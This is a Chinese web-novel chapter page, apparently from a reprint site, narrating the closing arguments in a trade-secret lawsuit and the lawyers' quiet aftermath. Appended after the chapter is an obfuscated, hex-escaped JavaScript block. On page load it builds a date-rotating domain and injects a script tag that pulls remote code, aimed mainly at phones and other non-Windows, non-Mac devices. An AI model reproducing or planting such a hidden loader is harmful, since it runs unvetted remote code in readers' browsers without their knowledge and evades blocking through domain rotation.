返回第一百四十八章 最后辩论  书包仔首页

关灯 护眼     字体:

上一章 目录 下一章

庭审最后一天,法院门口人不多。周明来得早,站在台阶上翻手机,深蓝色西装换了深灰色,领带是黑色的。沉牧之上台阶的时候看了他一眼。

“周总监,今天最后一天了。”

“恩。”

两个人一起走进法院走廊,不约而同放慢了脚步,谁也不愿意先推开那道法庭的门。门开了,书记员正在整理桌面,审判长的位置空着。原告席和被告席之间,隔着几米的距离,桌面光可鉴人。旁听席零散坐了几个人,象是家属,又象是实习生,没人说话。

审判长走进来,法槌敲了一下。

“现在继续开庭。本案法庭调查和辩论阶段均已结束。今天,双方作最后陈述。先由原告发表最后陈述意见。”

周明站起来。他没有拿稿子,双手撑在桌面上,看着审判席。

“审判长、各位审判员。本案的事实很清楚。被告林晓,在离职前一个月内,从公司的内网服务器下载了数十个源码文档。这些文档,包含了公司的内核商业秘密。他离职后,没有主动删除这些文档。直到收到律师函,才删了。他的云盘回收站里,还留下了这些文档的压缩包。压缩包里的代码,经鉴定,与原告主张的商业秘密相同。”

他停了一下。

“被告说,他不知道这些代码属于商业秘密。他是写代码的人,他参与了这些模块的开发,他知道这些模块的重要性。一个写推荐引擎的工程师,会不知道召回模块是内核?一个写排序算法的工程师,会不知道点击率预估模型是内核?他说他不知道,谁信?法律不保护装糊涂的人。”

周明的声音低了一些,语速放慢,不象在陈述,象在劝。

“被告说,他删了。删了就不能算侵权。法律从来没有这样的规定。盗窃之后把东西还回去,还算盗窃。侵权之后删了,还算侵权。删除,不能改变下载和存储的事实。商业秘密的保护,不能被‘删除’两个字轻易抹掉。如果每个被告都说‘我删了’,然后就没事了,那法律还有什么用?原告请求法庭支持诉讼请求,维护商业秘密保护的法律秩序。”

他坐下来。旁听席没有一点声音。沉牧之站起来,走到发言台前。

“审判长、各位审判员。原告说,删除不能改变下载和存储的事实。对,删了,但下载和存储是事实。这两个事实,能不能构成侵权?被告下载这些文档的时候,是在职员工。有权限,没有规定不可以下载。公司给了权限,他用了。用自己权限做自己分内的工作,不侵权。”

他翻开桌上的文档夹,抽出保密协议复印件。

“原告说,被告签了保密协议,就应该知道哪些文档是商业秘密。保密协议写的是,‘不为公众所知悉,能为权利人带来经济利益,具有实用性并经权利人采取保密措施的技术信息和经营信息’。请问一个普通的工程师,怎么从这句话里判断出哪一行代码属于商业秘密?原告没有明确告知。没有清单,没有培训,没有通知。被告只有猜。猜错了,就被起诉索赔五百万元。这不是保护商业秘密,这是钓鱼。把鱼饵放进河里,等鱼咬了,再把它捞上来。”

沉牧之把保密协议放回桌上。

“原告说,被告是写代码的人,他应该知道这些模块有多重要。知道自己写的重要代码是‘重要’的,跟自己写的代码是‘商业机密’是两回事。公司没告诉他什么是‘商业机密’,他凭什么要替公司决定呢?”

“原告没有证据证明被告使用了这些代码。没有证据证明被告提供给第三方。没有证据证明被告为自己或他人牟利。他们只有——被告下载过,删晚了。下载的时候他是员工,工作结束,他没删干净。没删干净,不构成侵权。”

沉牧之停了一下。

“法律保护商业秘密。但法律不保护懒惰。公司没有采取合理的保密措施,就不能怪员工没有替公司保密。本案中,原告没有明确告知被告哪些代码属于商业秘密,没有制定商业秘密清单,没有针对性的培训,没有离职时的告知。这些没有加在一起,就四个字——保密不力。保密不力的后果,不能让员工一个人承担。”

沉牧之看着审判席,目光平稳。

“原告请求法庭支持诉讼请求。被告请求法庭驳回全部诉讼请求。”

他坐下了。

审判长半晌没说话,摘下眼镜,用绒布慢慢地擦着镜片。合议庭成员凑过来低声交谈,声音很小,听不清。旁听席上有人换了一下坐姿,椅子发出轻微的吱呀声。

审判长戴上眼镜,目光平静地看着合议庭成员,两个人先后点头。

“本案待合议庭评议后,择日宣判。现在休庭。”

法槌敲了一声。声音不大,但在安静的法庭里,像石头扔进了深潭。

林晓坐在被告席上,久久不动,手还放在膝盖上攥着裤子的布料,指节发白。

“沉律师,我们能赢吗?”

“等。”

“等多久?”

“不知道。等。”

两个人走出法庭。走廊很长,阳光从窗户照进来,在地上画出一个个长方形的光斑。周明站在走廊尽头,靠着墙。

“沉律师,你的结案陈词很有力。”

“你的也是。”

“你最后那句‘保密不力的后果不能让员工一个人承担’,法官听进去了。”

“你怎么知道?”

“我是律师,我也当过检察官。法官听没听进去,我听得出来。”

沉牧之点了两根烟,递给他一根。周明接过去,吸了一口,烟雾在两人之间升起、扩散、消散。两个律师在法院走廊里抽烟,隔着两米,不说话。抽完了,周明把烟头按灭,扔进垃圾桶。

“沉律师,下次案子再见。”

“再见。”

周明走了。沉牧之站在窗前,看着他的灰色西装在街角拐弯,消失了。林晓还在。

“沉律师,他走了。”

“恩。”

“你跟他是朋友?”

“不是。”

“不是朋友,怎么还递烟?”

沉牧之没有说话。朋友算不上,对手是真的。不是敌人的那种对手,是各自站在自己位置上做自己该做的事的那种对手。他做的,他做的,谁也没错。案子是案子,职业是职业。出了法院,各走各的。但烟可以递一根,法理之外还有人情。一根烟递过去,什么都不用说。

“走吧。”

“去哪?”

“回家。等。”

林晓想说什么,嘴唇动了动又合上了。“沉律师,谢谢您。”

“不用谢。”

林晓走出法院大门。阳光照在他脸上,刺眼。他眯了眯眼睛,用手挡住光,像从黑暗里走出来的人。

沉牧之站在门口看了片刻,上了车,发动引擎。他没回事务所,没去法学院。他去了中心广场,把车停在路边,走到纪念碑下面。方诚曾经坐在这里,面朝东方,等着太阳升起来。沉牧之不知道他等到了没有,但他来了,站在这里。

林晓的案子在等宣判,像陈志远的案子等宣判,像李强的案子等不起诉。每一个案子都在等,每一个当事人都在等。等一个结果,等一个说法,等一纸判决。沉牧之也在等。但他等的不只是判决,还有当事人的电话。电话响了,是陈志远。

“沉律师,我找到工作了。送外卖。一个月能挣五六千。每个月还您一千,五年还清。”

沉牧之握着手机看着纪念碑。

“不用还我。你欠的是刘建国的钱,不是我。”

“可您帮我辩护了。”

“那是我该做的。”

“我欠您的。”

沉牧之没有推辞。“好。你先还刘建国。”

陈志远走了。

沉牧之站在纪念碑下面,抬起头看着碑身上刻的字。风从东边吹过来,把他的大衣下摆吹得啪啪响。他站了一会儿,转过身,走回车上。

回到事务所,他打开笔记本,在“林晓案”那一页写下一行字。他合上笔记本,把手机放在桌上,等那个宣判的电话。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");